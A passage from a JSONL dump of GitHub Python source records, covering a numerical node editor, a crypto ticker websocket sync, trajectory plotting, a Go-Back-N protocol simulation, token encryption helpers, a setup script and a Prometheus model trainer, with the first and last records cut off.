self.inputValue = retrievedValue\n\n        retrievedVariableName = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableNameParameterKey)\n        if retrievedVariableName is not None:\n            self.inputVariableName = retrievedVariableName\n\n        retrievedVariablePrintValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variablePrintKey)\n        self.printVariable = retrievedVariablePrintValue\n\n        if self.inputVariableName != '':\n            self.nodeOutputs = [str(self.inputVariableName)]\n        else:\n            self.nodeOutputs = [str(self.inputValue)]\n\n        self.content.valueLabel.setText(self.inputValue)\n        self.content.valueLabel.setFont(QFont('Arial', 12))\n        self.content.valueLabel.adjustSize()\n\n        self.markDescendantsDirty()\n\n\n@register_numeric_node(NUM_NODE_INPUT_FUNCTION)\nclass FunctionInputNode(NumericalNode):\n    op_code = NUM_NODE_INPUT_FUNCTION\n    op_title = \"Function Input\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[], outputs=[2])\n        self.customizationWindow = FunctionInputNodeCustomizationWindow()\n        self.inputValue = ''\n        self.inputVariableName = ''\n        self.printVariable = False\n        self.functionArgs = None\n        self.nodeOutputs = [\"\"]\n\n    def getScriptRepresentation(self):\n        res = \"\"\n\n        if self.inputValue == '' or self.inputVariableName == '':\n            return res\n\n        if self.inputVariableName != '':\n            res += f'{str(self.inputVariableName)} = '\n\n        res += f'@({str(self.functionArgs)}){str(self.inputValue)}'\n\n        if not self.printVariable:\n            res += \";\"\n\n        return res\n\n    def initInnerClasses(self):\n        self.content = TestNumericalInputNodeContent(self)\n        self.grNode = NumericalGraphicsNode(self)\n\n    def onDoubleClicked(self, event):\n        self.customizationWindow.openWindow()\n\n        retrievedValue = self.customizationWindow.getParameterValue(self.customizationWindow.valueParameterKey)\n        if retrievedValue is not None:\n            self.inputValue = retrievedValue\n\n        retrievedVariableName = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableNameParameterKey)\n        if retrievedVariableName is not None:\n            self.inputVariableName = retrievedVariableName\n\n        retrievedArgsName = self.customizationWindow.getParameterValue(\n            self.customizationWindow.functionArgumentsKey)\n        if retrievedArgsName is not None:\n            self.functionArgs = retrievedArgsName\n\n        retrievedVariablePrintValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variablePrintKey)\n        self.printVariable = retrievedVariablePrintValue\n\n        self.nodeOutputs = [str(self.inputVariableName)]\n\n        self.content.valueLabel.setText(self.inputValue)\n        self.content.valueLabel.setFont(QFont('Arial', 12))\n        self.content.valueLabel.adjustSize()\n\n        self.markDescendantsDirty()\n\n\n@register_numeric_node(NUM_NODE_INPUT_MATRIX)\nclass MatrixInputNode(NumericalNode):\n    op_code = NUM_NODE_INPUT_MATRIX\n    op_title = \"Matrix Input\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[], outputs=[0])\n        self.customizationWindow = MatrixInputNodeCustomizationWindow()\n        self.matrixWidth = 0\n        self.matrixHeight = 0\n        self.matrixValues = []\n        self.inputVariableName = ''\n        self.printVariable = False\n        self.nodeOutputs = [\"\"]\n\n    def getScriptRepresentation(self):\n        res = \"\"\n\n        if len(self.matrixValues) <= 0:\n            return res\n\n        if self.inputVariableName != '':\n            res += f'{str(self.inputVariableName)} = '\n\n        res += self.getMatrixRepresentation()\n\n        if not self.printVariable:\n            res += \";\"\n\n        return res\n\n    def initInnerClasses(self):\n        self.content = TestNumericalInputNodeContent(self)\n        self.grNode = NumericalGraphicsNode(self)\n\n    def getMatrixRepresentation(self):\n        res = ''\n        res += '['\n\n        for i in range(len(self.matrixValues)):\n            res += f'{self.matrixValues[i]} '\n\n            if (i + 1) % self.matrixWidth == 0:\n                res += '; '\n\n        res += ']'\n        return res\n\n    def onDoubleClicked(self, event):\n        self.customizationWindow.openWindow()\n\n        retrievedValues = self.customizationWindow.getParameterValue(self.customizationWindow.valueParameterKey)\n        self.matrixValues = retrievedValues\n\n        retrievedWidth = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableWidthDimensionValueKey)\n        if retrievedWidth.strip() != '':\n            self.matrixWidth = int(retrievedWidth)\n\n        retrievedHeight = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableHeightDimensionValueKey)\n        if retrievedHeight.strip() != '':\n            self.matrixHeight = int(retrievedHeight)\n\n        retrievedVariableName = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variableNameParameterKey)\n        if retrievedVariableName is not None:\n            self.inputVariableName = retrievedVariableName\n\n        retrievedVariablePrintValue = self.customizationWindow.getParameterValue(\n            self.customizationWindow.variablePrintKey)\n        self.printVariable = retrievedVariablePrintValue\n\n        if str(self.inputVariableName).strip() == '':\n            self.nodeOutputs = [self.getMatrixRepresentation()]\n        else:\n            self.nodeOutputs = [str(self.inputVariableName)]\n\n        if len(self.matrixValues) <= 0:\n            self.nodeOutputs = ['']\n\n        labelValue = self.getMatrixRepresentation()\n        labelValue = \" \" + labelValue[1:-1]\n        labelValue = labelValue.replace(\";\", \"\\n\")\n        self.content.valueLabel.setText(labelValue)\n        self.content.valueLabel.setFont(QFont('Arial', 8))\n        self.content.valueLabel.adjustSize()\n\n        # self.nodeOutputs = [self.getScriptRepresentation()]\n        self.markDescendantsDirty()\n\n\n@register_numeric_node(NUM_NODE_INPUT_BOOL)\nclass BoolInputNode(NumericalNode):\n    op_code = NUM_NODE_INPUT_BOOL\n    op_title = \"Bool Input\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[], outputs=[6])\n        self.customizationWindow = NumberInputNodeCustomizationWindow()\n        self.inputValue = ''\n        self.inputVariableName = None\n        self.printVariable = False\n        self.nodeOutputs = [\"\"]\n\n\n@register_numeric_node(NUM_NODE_INPUT_COMPLEX)\nclass ComplexInputNode(NumericalNode):\n    op_code = NUM_NODE_INPUT_COMPLEX\n    op_title = \"Complex Input\"\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[], outputs=[7])\n        self.customizationWindow = NumberInputNodeCustomizationWindow()\n        self.inputValue = ''\n        self.inputVariableName = None\n        self.printVariable = False\n        self.nodeOutputs = [\"\"]\n\n\n@register_numeric_node(NUM_NODE_OUTPUT)\nclass OutputNode(NumericalNode):\n    op_code = NUM_NODE_OUTPUT\n    op_title = \"Output\"\n\n    GraphicsNode_class = OutputGraphicsNode\n\n    def __init__(self, scene):\n        super().__init__(scene, inputs=[0, 1, 2, 6, 7], outputs=[])\n\n\n@register_numeric_node(NUM_NODE_CONFIGURABLE)\nclass FunctionZeroSearchNode(NumericalNode):\n    op_code = NUM_NODE_CONFIGURABLE\n    op_title = \"Configurable Logic Node\"\n\n    def __init__(self, scene):\n        # inputs=[1, 1, 1, 2]\n        # inputs=[2]\n\n        super().__init__(scene, inputs=[1, 1, 1, 1, 2], outputs=[1])\n        self.customizationWindow = FunctionZeroSearchNodeCustomizationWindow(inputs=[1, 1, 1, 1, 2], outputs=[1])\n\n        self.inputValues = []\n        self.firstInputValue = ''\n        self.secondInputValue = ''\n        self.thirdInputValue = ''\n\n        self.callText = ''\n        self.declarationText = ''\n        self.printVariable = False\n        self.nodeOutputs = [\"\"]\n\n    def getScriptRepresentation(self):\n        res = \"\"\n\n        res += self.customizationWindow.getCallText(\n            self.inputValues\n            #str(self.firstInputValue),\n            #str(self.secondInputValue),\n            #str(self.thirdInputValue)\n        )\n\n        res += \"\\n\\n\"\n        res += self.declarationText\n        return res\n\n    def onInputChanged(self, socket: None):\n        self.eval()\n\n    def onMarkedDirty(self):\n        self.eval()\n\n    def eval(self, index=0):\n        # for i in range(len(self.inputs)):\n        #     if self.getInput(i) is None:\n        #         return\n\n        for inputIndex in range(len(self.inputs)):\n            if self.getInput(inputIndex) is None:\n                return\n\n        # if self.getInput(0) is None or self.getInput(1) is None or self.getInput(2) is None:\n        #     self.firstInputValue = None\n        #     self.secondInputValue = None\n        #     self.thirdInputValue = None\n        #     return\n\n        self.inputValues = []\n        for inputIndex in range(len(self.inputs)):\n            self.inputValues.append(str(self.getInput(inputIndex).nodeOutputs[0]))\n\n            #self.firstInputValue = self.getInput(0).nodeOutputs[0]\n            #self.secondInputValue = self.getInput(1).nodeOutputs[0]\n            #self.thirdInputValue = self.getInput(2).nodeOutputs[0]\n\n        \"\"\"\n        if self.variableName == '' or not self.useVariable:\n            outputValue = self.customizationWindow.getCallText(\n                str(self.firstInputValue),\n                str(self.secondInputValue),\n                str(self.thirdInputValue)\n            )\n        else:\n            outputValue = self.variableName\n       \n        \n        if self.matrixValue.strip() == '':\n            outputValue = ''\n\n        self.nodeOutputs = [outputValue]       \n         \"\"\"\n\n    def initInnerClasses(self):\n        self.content = TestNumericalInputNodeContent(self)\n        self.grNode = OutputGraphicsNode(self)\n\n    def onDoubleClicked(self, event):\n        self.customizationWindow.openWindow()\n        self.declarationText = self.customizationWindow.declarationText\n        self.callText = self.customizationWindow.getCallText(self.inputValues)\n        #self.callText = self.customizationWindow.getCallText('a', 'b', 'c')\n        self.markDescendantsDirty()\n","repo_name":"WorryWarrior/Numerical_Prototyper","sub_path":"examples/numerical_prototyper/numerical_conf.py","file_name":"numerical_conf.py","file_ext":"py","file_size_in_byte":23480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20669220982","text":"import websocket\nimport redis\nimport json\nimport sqlite3\nimport os\n\n# Redis Connection and Socket,Symbols Configuration\nredis_conn = redis.Redis(host='redis')\nsocket = \"wss://api.hitbtc.com/api/2/ws\"\nSymbols = []\nupdated = False\n\ndef get_symbols_from_db():\n    db_location = os.getcwd() + \"/db.sqlite3\"\n    conn = sqlite3.connect(db_location)\n    cursor = conn.cursor()\n    cursor.execute(\"Select name from Trade_symbol\")\n    for symb in cursor.fetchall():\n        if symb[0] not in Symbols:\n            Symbols.append(symb[0])\n            global updated\n            updated = True\n\n\ndef on_open(ws):\n    \"\"\"\n    Callback Function invoked when a socket connection is established\n    :param ws: The Websocket\n    :return: None\n    \"\"\"\n    print(\"Connection to Web Socket Successful\")\n    get_symbols_from_db()\n    global updated\n    updated = False\n    for symbol in Symbols:\n        request = {\"method\": \"subscribeTicker\", \"params\": {\"symbol\": symbol}, \"id\": 123}\n        ws.send(json.dumps(request))\n\n\ndef on_message(ws, message):\n    \"\"\"\n    Callback Function Invoked when data is received and Stores the latest Ticker for Configured Symbol data in redis\n    :param ws: The websocket\n    :param message: The data received on the websocket\n    :return: None\n    \"\"\"\n    get_symbols_from_db()\n    if updated:\n        on_open(ws)\n    trade_data = json.loads(message).get(\"params\")\n    if trade_data:\n        symbol = trade_data.pop(\"symbol\")\n        trade_data.pop('volume'), trade_data.pop('volumeQuote'), trade_data.pop('timestamp')\n        redis_conn.hmset(symbol, trade_data)\n\n\n# Create the websocket Connection\nws = websocket.WebSocketApp(socket, on_open=on_open, on_message=on_message)\nws.run_forever()  # Listens Indefinitely on the web socket\n","repo_name":"rahuls36/Trade","sub_path":"TradeApp/sync_trades.py","file_name":"sync_trades.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19426021182","text":"import sys\nfrom matplotlib.collections import LineCollection\nimport matplotlib.font_manager as font_manager\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom utility import TUMcolor\nfrom utility import load_file\nfrom utility import set_params\n\n\nclass traj_diff:\n    def __init__(self, dir_path):\n        # Read files\n        self.source = load_file(dir_path, \"source.txt\", \" \")\n        self.target = load_file(dir_path, \"target.txt\", \" \")\n        self.target_al = load_file(dir_path, \"target_al.txt\", \" \")\n        self.target_rs = load_file(dir_path, \"target_rs.txt\", \" \")\n        self.triangles = load_file(dir_path, \"triangles.txt\", \" \")\n        self.controlPoints = load_file(dir_path, \"controlPoints.txt\", \" \")\n        self.diff_al = load_file(dir_path, \"diff_al.txt\", \"\")\n        self.diff_rs = load_file(dir_path, \"diff_rs.txt\", \"\")\n\n    # Plot initial trajectories in local coordinate system\n    def plot_traj(self):\n        # set_params()\n        font = font_manager.FontProperties(family=\"Arial\", style=\"normal\", size=11)\n        ax = plt.axes()\n        ax.plot(\n            self.source[0][0:-1:5],\n            self.source[1][0:-1:5],\n            label=\"GPS trajectory\",\n            color=TUMcolor(\"Green\"),\n        )\n        ax.plot(\n            self.target[0][0:-1:3],\n            self.target[1][0:-1:3],\n            label=\"SLAM trajectory\",\n            color=TUMcolor(\"Blue\"),\n        )\n        ax.set_xlabel(\"$X$ in m\", fontname=\"Arial\", fontsize=11)\n        ax.set_ylabel(\"$Y$ in m\", fontname=\"Arial\", fontsize=11)\n        # ax.set_title('Projected Trajectories', fontname='Arial', fontsize=11)\n        ax.legend(prop=font)\n        ax.grid()\n        ax.set_aspect(\"equal\")\n        plt.show()\n\n    # Plot trajectories after rigid transformation with deviation\n    def plot_traj_al(self):\n        # set_params()\n        font = font_manager.FontProperties(family=\"Arial\", style=\"normal\", size=11)\n        fig = plt.figure()\n        ax = plt.axes()\n        ax.plot(\n            self.source[0][0:-1:5],\n            self.source[1][0:-1:5],\n            label=\"GPS trajectory\",\n            color=TUMcolor(\"Gray2\"),\n        )\n\n        diff_al_norm = plt.Normalize(self.diff_al.min(), self.diff_al.max())\n        diff_al_points = self.target_al.T.reshape(-1, 1, 2)\n        diff_al_segments = np.concatenate([diff_al_points[:-1], diff_al_points[1:]], axis=1)\n        diff_al_lines = LineCollection(diff_al_segments, cmap=\"jet\", norm=diff_al_norm)\n        diff_al_lines.set_array(self.diff_al)\n        ax.add_collection(diff_al_lines)\n        cax = fig.add_axes(\n            [ax.get_position().x1 - 0.1, ax.get_position().y0, 0.02, ax.get_position().height]\n        )\n        cbar = fig.colorbar(diff_al_lines, cax=cax)\n        cbar.set_label(\"Deviation from GPS in m\", fontname=\"Arial\", fontsize=11)\n        ax.set_xlabel(\"$X$ in m\", fontname=\"Arial\", fontsize=11)\n        ax.set_ylabel(\"$Y$ in m\", fontname=\"Arial\", fontsize=11)\n        ax.legend(prop=font)\n        ax.grid()\n        ax.set_aspect(\"equal\")\n        plt.show()\n\n    # Plot trajectories after rubber-sheet transformation with deviation\n    def plot_traj_rs(self):\n        # set_params()\n        font = font_manager.FontProperties(family=\"Arial\", style=\"normal\", size=11)\n        fig = plt.figure()\n        ax = plt.axes()\n        ax.plot(\n            self.source[0][0:-1:1],\n            self.source[1][0:-1:1],\n            label=\"GPS trajectory\",\n            color=TUMcolor(\"Gray2\"),\n        )\n        diff_rs_norm = plt.Normalize(self.diff_rs.min(), self.diff_rs.max())\n        diff_rs_points = self.target_rs.T.reshape(-1, 1, 2)\n        diff_rs_segments = np.concatenate([diff_rs_points[:-1], diff_rs_points[1:]], axis=1)\n        diff_rs_lines = LineCollection(diff_rs_segments, cmap=\"jet\", norm=diff_rs_norm)\n        diff_rs_lines.set_array(self.diff_rs)\n        cax = fig.add_axes(\n            [ax.get_position().x1 - 0.1, ax.get_position().y0, 0.02, ax.get_position().height]\n        )\n        ax.add_collection(diff_rs_lines)\n        cbar = fig.colorbar(diff_rs_lines, cax=cax)\n        cbar.set_label(\"Deviation from GPS in m\", fontname=\"Arial\", fontsize=11)\n\n        ax.set_xlabel(\"$X$ in m\", fontname=\"Arial\", fontsize=11)\n        ax.set_ylabel(\"$Y$ in m\", fontname=\"Arial\", fontsize=11)\n        ax.legend(prop=font)\n        ax.grid()\n        ax.set_aspect(\"equal\")\n        plt.show()\n\n    # Plot geometry of rubber-sheet transformation (triangles, control points)\n    def plot_geom_rs(self):\n        # set_params()\n        font = font_manager.FontProperties(family=\"Arial\", style=\"normal\", size=11)\n        ax = plt.axes()\n        ax.plot(\n            self.source[0][0:-1:3],\n            self.source[1][0:-1:3],\n            label=\"GPS trajectory\",\n            color=TUMcolor(\"Gray2\"),\n        )\n        ax.plot(\n            self.target_al[0], self.target_al[1], label=\"SLAM trajectory\", color=TUMcolor(\"Blue\")\n        )\n\n        for i in range(np.size(self.triangles, 1)):\n            for j in range(3):\n                ax.plot(\n                    [self.triangles[4 * j][i], self.triangles[4 * j + 2][i]],\n                    [self.triangles[4 * j + 1][i], self.triangles[4 * j + 3][i]],\n                    linewidth=1,\n                    color=TUMcolor(\"Green\"),\n                )\n        for i in range(np.size(self.controlPoints, 1) - 4):\n            ax.plot(\n                [self.controlPoints[0][i], self.controlPoints[2][i]],\n                [self.controlPoints[1][i], self.controlPoints[3][i]],\n                marker=\"*\",\n                color=TUMcolor(\"Orange\"),\n            )\n\n        ax.set_xlabel(\"$X$ in m\", fontname=\"Arial\", fontsize=11)\n        ax.set_ylabel(\"$Y$ in m\", fontname=\"Arial\", fontsize=11)\n        ax.legend(loc=\"upper left\", prop=font)\n        ax.grid()\n        ax.set_aspect(\"equal\")\n        plt.show()\n\n    # Statistical values on deviations\n    def print_statistics(self):\n        rmse_al = np.sqrt(np.mean(self.diff_al**2))\n        rmse_rs = np.sqrt(np.mean(self.diff_rs**2))\n\n        print(\"RMSE aligned target trajectory: \" + str(rmse_al))\n        print(\"RMSE rubber-sheeted target trajectory: \" + str(rmse_rs))\n        print(\"Mean aligned target trajectory: \" + str(np.mean(self.diff_al)))\n        print(\"Mean rubber-sheeted target trajectory: \" + str(np.mean(self.diff_rs)))\n        print(\"Median aligned target trajectory: \" + str(np.median(self.diff_al)))\n        print(\"Median rubber-sheeted target trajectory: \" + str(np.median(self.diff_rs)))\n        print(\"Standard deviation aligned target trajectory: \" + str(np.std(self.diff_al)))\n        print(\"Standard deviation rubber-sheeted target trajectory: \" + str(np.std(self.diff_rs)))\n\n\n# Main function - comment and uncomment functions you want to use\nif __name__ == \"__main__\":\n        # Check command-line arguments\n    if len(sys.argv) != 2:\n        print(\"Usage: plot_traj_matching.py <path/to/output/traj_matching>\")\n        sys.exit(1)\n\n    # Get command-line arguments\n    dir_path = sys.argv[1]\n    # Init\n    traj = traj_diff(dir_path)\n\n    traj.plot_traj()\n    traj.plot_traj_al()\n    traj.plot_traj_rs()\n    traj.plot_geom_rs()\n    traj.print_statistics()\n\n    plt.show()\n","repo_name":"TUMFTM/FlexMap_Fusion","sub_path":"analysis/plot_traj_matching.py","file_name":"plot_traj_matching.py","file_ext":"py","file_size_in_byte":7161,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"3"}
+{"seq_id":"41974034340","text":"import time\r\nimport threading\r\nfrom random import randint, randrange\r\nimport sys\r\n\r\n'''\r\n定义两个类: 一个发送者Sender, 一个接收者receiver\r\n发送者: 发送窗口，窗口大小 = 用户输入，定时器，窗口的起始位置和结束位置，\r\n接收者: 接收窗口\r\n'''\r\n\r\n\r\nclass Sender():\r\n\tframe_numbering: int\r\n\tframe_num: int  # 帧的总数\r\n\tremaining_frame: int\r\n\twindow_size: int\r\n\ttimer: float\r\n\tfront_id = 0\r\n\tend_id = 0\r\n\treceiver = None\r\n\ttime_set: int  # 设定超时重传时间\r\n\tout_time_flag = False  # 超时标志\r\n\tlost_package_pos = int  # 丢包概率\r\n\tdata_list = []\r\n\r\n\tdef __init__(self, frame_numbering, window_size: int, time_set: int, lost_package_pos: int):\r\n\t\t'''\r\n\t\t初始化 几个一循环 窗口大小，时间设置，丢包概率\r\n\t\t'''\r\n\t\tself.frame_numbering = frame_numbering\r\n\t\tself.window_size = window_size\r\n\t\tself.time_set = time_set\r\n\t\tself.lost_package_pos = lost_package_pos\r\n\t\tself.end_id += self.window_size\r\n\r\n\tdef flow_control(self):\r\n\t\t'''控制本次发送的最大数据量'''\r\n\t\tflow_max = int(input('请输入本次发送的最大数据量: '))\r\n\t\tif flow_max <= self.frame_num:\r\n\t\t\tself.frame_num = flow_max\r\n\t\t\tself.remaining_frame = self.frame_num\r\n\t\telse:\r\n\t\t\tprint('最大数据流量已超过帧数，程序准备全部发送！')\r\n\r\n\tdef slide_window(self, ack_id):  # 滑动自己的窗口\r\n\t\twhile self.front_id % self.frame_numbering != ack_id:\r\n\t\t\tif self.end_id < self.frame_num:\r\n\t\t\t\tself.front_id += 1\r\n\t\t\t\tself.end_id += 1\r\n\t\t\tif self.end_id == self.frame_num:\r\n\t\t\t\tif self.front_id < self.end_id:\r\n\t\t\t\t\tif self.front_id % self.frame_numbering != ack_id:\r\n\t\t\t\t\t\tself.front_id += 1\r\n\t\t\t\tif self.front_id == self.end_id:\r\n\t\t\t\t\tprint('帧已经全部传输完成！')\r\n\t\t\t\t\tbreak\r\n\t\tself.remaining_frame = self.frame_num - self.front_id\r\n\r\n\tdef make_frame(self):  # 成帧\r\n\t\tprint('请输入数据进行组装，每次输入结束后请按回车键，终止请输入esc退出')\r\n\t\tcnt = 0\r\n\t\tdata = input(f'请进行输入第{cnt}次输入: ')\r\n\t\twhile data != 'esc':\r\n\t\t\tself.data_list.append(data)\r\n\t\t\tcnt += 1\r\n\t\t\tdata = input(f'请进行输入第{cnt}次输入: ')\r\n\t\tprint('已经组装成帧！')\r\n\t\tself.frame_num = len(self.data_list)\r\n\t\tself.remaining_frame = self.frame_num\r\n\r\n\tdef del_frame(self, del_index):  # 删除帧\r\n\t\ttry:\r\n\t\t\tdel self.data_list[del_index]\r\n\t\texcept IndexError:\r\n\t\t\tprint('帧不存在！')\r\n\t\telse:\r\n\t\t\tif self.frame_num > 0:\r\n\t\t\t\tself.frame_num -= 1\r\n\t\t\t\tself.remaining_frame = self.frame_num\r\n\t\t\telse:\r\n\t\t\t\tprint('帧已经为空，不能再删除了')\r\n\t\t\t\tsys.exit()\r\n\r\n\tdef sender_check(self):  # 发送检查\r\n\t\tif self.window_size < self.frame_numbering and self.window_size <= self.frame_num:\r\n\t\t\tprint(f'检查完毕！窗口长度{self.window_size}与编号个数{self.frame_numbering}和帧长度{self.frame_num}的关系满足条件! ')\r\n\t\telse:\r\n\t\t\tprint('窗口长度错误 ！')\r\n\r\n\tdef send_frame(self, frame_id):  # 发送帧\r\n\t\t'''\r\n\t\t在发送时候启动一个定时器，如果发送成功，应该是接收者的接收窗口移动一个\r\n\t\t将窗口内的帧全部发送出去\r\n\t\t'''\r\n\t\tprint(f'[发送窗口]: 正在发送{frame_id % self.frame_numbering}号帧')\r\n\t\tif randint(1, 100) > self.lost_package_pos:\r\n\t\t\tprint(f'[发送窗口]: {frame_id % self.frame_numbering}号帧发送成功！')\r\n\t\t\tself.receiver.receive_frame(frame_id)\r\n\t\t\tself.receiver.send_ack(self.receiver.window_id % self.frame_numbering)\r\n\t\telse:  # 发送失败先更改重传标志\r\n\t\t\tself.out_time_flag = True\r\n\r\n\tdef gbn_send(self):\r\n\t\tif self.out_time_flag:\r\n\t\t\ttime.sleep(self.time_set)\r\n\t\t\tprint('[发送窗口]: 现在开始重发啦! ')\r\n\t\tthreads = []\r\n\t\tfor frame_id in range(self.front_id, self.end_id):\r\n\t\t\tt = threading.Thread(target=self.send_frame, args=(frame_id,))\r\n\t\t\tthreads.append(t)\r\n\t\t\tt.start()\r\n\t\tfor t in threads:\r\n\t\t\tt.join()\r\n\r\n\tdef receive_ack(self, ack_id):  # ack_id 接收者下一个希望接受的帧\r\n\t\tprint(f'[发送窗口]: {ack_id}号ACK接收成功！')\r\n\t\tself.out_time_flag = False\r\n\t\tself.slide_window(ack_id)\r\n\t\treturn True\r\n\r\n\r\nclass Receiver():  # 接收者\r\n\tblock_size: int  # 每个分组的长度\r\n\tlost_package_pos: int  # 丢包概率\r\n\twindow_id = 0\r\n\tsender: Sender = None\r\n\tr_data_list = []\r\n\r\n\tdef __init__(self, sender: Sender):\r\n\t\tself.lost_package_pos = sender.lost_package_pos\r\n\t\tself.block_size = sender.frame_numbering\r\n\r\n\tdef slide_window(self):  # 滑动窗口\r\n\t\tself.window_id = (self.window_id + 1)\r\n\r\n\tdef receive_frame(self, frame_id):  # 接收帧\r\n\t\tif frame_id == self.window_id:\r\n\t\t\tprint(f'[接收窗口]: {frame_id % self.block_size}号帧接收成功！')\r\n\t\t\tif frame_id < len(self.sender.data_list):\r\n\t\t\t\tself.r_data_list.append(self.sender.data_list[frame_id])\r\n\t\t\tself.slide_window()\r\n\t\telse:\r\n\t\t\tprint(f'[接收窗口]: 现在希望接收{self.window_id % self.block_size}号帧！')\r\n\t\t\tself.send_ack((self.window_id % self.block_size))\r\n\r\n\tdef send_ack(self, ack_id):  # 发送ack\r\n\t\tif randint(1, 100) > self.lost_package_pos:  # 如果传输成功, 发送者的窗口应该会移动\r\n\t\t\tself.sender.receive_ack(ack_id)\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\tself.sender.out_time_flag = True\r\n\t\t\tprint(f'[接收窗口]: {ack_id}号ACK传输失败！')\r\n","repo_name":"SunNing01/GoBackNProtocol","sub_path":"gbn_protocol.py","file_name":"gbn_protocol.py","file_ext":"py","file_size_in_byte":5254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"75094213840","text":"# coding: utf8\nfrom farbox_bucket.utils import string_types\nfrom farbox_bucket.utils.ssdb_utils import hset, hget, hexists\nfrom farbox_bucket.utils.encrypt.simple import simple_encrypt, simple_decrypt\nfrom farbox_bucket.utils.data import json_dumps, json_loads\n\n\n# simple_bucket_token 是唯一不可更改的，主要是做加密和解密的；不能暴露给任何人\n\ndef get_simple_bucket_token(bucket):\n    token = hget('_simple_bucket_token', bucket) or ''\n    return token\n\n\ndef set_simple_bucket_token(bucket, private_key_md5):\n    if not bucket:\n        return\n    if isinstance(private_key_md5, string_types) and len(private_key_md5)<100:\n        old_value = get_simple_bucket_token(bucket)\n        if old_value == private_key_md5:\n            return\n        hset('_simple_bucket_token', bucket, private_key_md5)\n\n\n\ndef get_normal_data_by_simple_token(bucket, encrypted_data, force_py_data=True, default_if_failed=None):\n    # force_py_data = True 的时候，必须是 list/tuple/dict 的数据类型\n    if not encrypted_data:\n        return encrypted_data\n    token = get_simple_bucket_token(bucket)\n    if token and isinstance(encrypted_data, string_types):\n        result = simple_decrypt(encrypted_data, token)\n        try: result = json_loads(result)\n        except: pass\n    else:\n        result = encrypted_data\n    if force_py_data:\n        if isinstance(result, (list, tuple, dict)):\n            return result\n        else:\n            return default_if_failed\n    else:\n        return result\n\n\n\n\n\n\n","repo_name":"hepochen/FarBox","sub_path":"farbox_bucket/bucket/token/simple_encrypt_token.py","file_name":"simple_encrypt_token.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"3"}
+{"seq_id":"11564442541","text":"#!/usr/bin/env python\n\nimport glob\nimport os\nimport re\nimport unittest\n\nfrom Cython.Build import cythonize\nfrom setuptools import setup, Extension\nfrom setuptools.command.test import test as TestCommand\n\nimport numpy as np\n\n# extensions to build\n\next_kernels = Extension(\n    \"tod2flux.kernels\",\n    include_dirs=[np.get_include()],\n    sources=[\"tod2flux/kernels.pyx\"],\n)\n\nextensions = cythonize([ext_kernels])\n\n# scripts to install\n\nscripts = glob.glob(\"pipelines/*.py\")\n\n# run unit tests\n\n\nclass PTestCommand(TestCommand):\n    def __init__(self, *args, **kwargs):\n        super(PTestCommand, self).__init__(*args, **kwargs)\n\n    def initialize_options(self):\n        TestCommand.initialize_options(self)\n\n    def finalize_options(self):\n        TestCommand.finalize_options(self)\n        self.test_suite = True\n\n    def run(self):\n        loader = unittest.TestLoader()\n        runner = unittest.TextTestRunner(verbosity=2)\n        suite = loader.discover(\"tests\", pattern=\"test_*.py\", top_level_dir=\".\")\n        runner.run(suite)\n\n\n# set it all up\n\n\nsetup(\n    name=\"tod2flux\",\n    provides=[\"tod2flux\"],\n    version=\"0.1\",\n    description=\"Tools for estimating point source flux densities from TOD\",\n    author=\"Reijo Keskitalo and Graca Rocha\",\n    author_email=\"rtkeskitalo@lbl.gov\",\n    url=\"https://github.com/hpc4cmb/tod2flux\",\n    packages=[\"tod2flux\", \"tod2flux.planck\"],\n    package_data={\"todflux.planck\": [\"data/*fits\", \"data/*stokes\"],},\n    include_package_data=True,\n    ext_modules=extensions,\n    scripts=scripts,\n    license=\"BSD\",\n    requires=[\"Python (>3.4.0)\",],\n    cmdclass={\"test\": PTestCommand},\n)\n","repo_name":"hpc4cmb/tod2flux","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1532894542","text":"from prometheus_api_client import PrometheusConnect\nfrom datetime import timedelta, datetime\nimport numpy as np\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.feature_selection import RFE\nimport config\nimport joblib\nfrom os import path, mkdir\nimport pickle\n\nprom = PrometheusConnect(url=config.prom_url)\nfile_directory = './trained_models/'\n\n\ndef data_extractor(metric):\n    # # Real datetime period\n    interval = timedelta(days=config.interval)\n    end_time2 = datetime.now()\n    start_time2 = end_time2 - interval\n    chunk_size = timedelta(hours=config.chunk_size)\n\n    metric_data = prom.get_metric_range_data(\n        metric,  # this is the metric name and label config\n        start_time=start_time2,\n        end_time=end_time2,\n        chunk_size=chunk_size,\n    )\n\n    a = metric_data[0]['values']\n    x = []\n    y = []\n    for i in a:\n        x.append(i[0])\n        y.append(i[1])\n    # print(x, y, sep='\\n')\n    x = np.asarray(x)\n    y = np.asarray(y)\n\n    y = y.astype(np.float)\n    x = x.astype(np.float)\n    # print(x)\n    x_data = []\n\n    for item in x:\n        item = datetime.utcfromtimestamp(item)\n        day = item.day\n        weekday = item.weekday()\n        sec_from_day = (item - item.replace(hour=0, minute=0, second=0, microsecond=0)).total_seconds()\n        x_data.append([sec_from_day, day, weekday])\n\n    x_data = np.asarray(x_data)\n    # print(x_data)\n    x_data = np.asarray(x_data)\n    return [x_data, y]\n\n\ndef model_trainer_rfe(metric):\n    data = data_extractor(metric)\n    x = data[0]\n    y = data[1]\n    # # RFE (RandomForest Regression 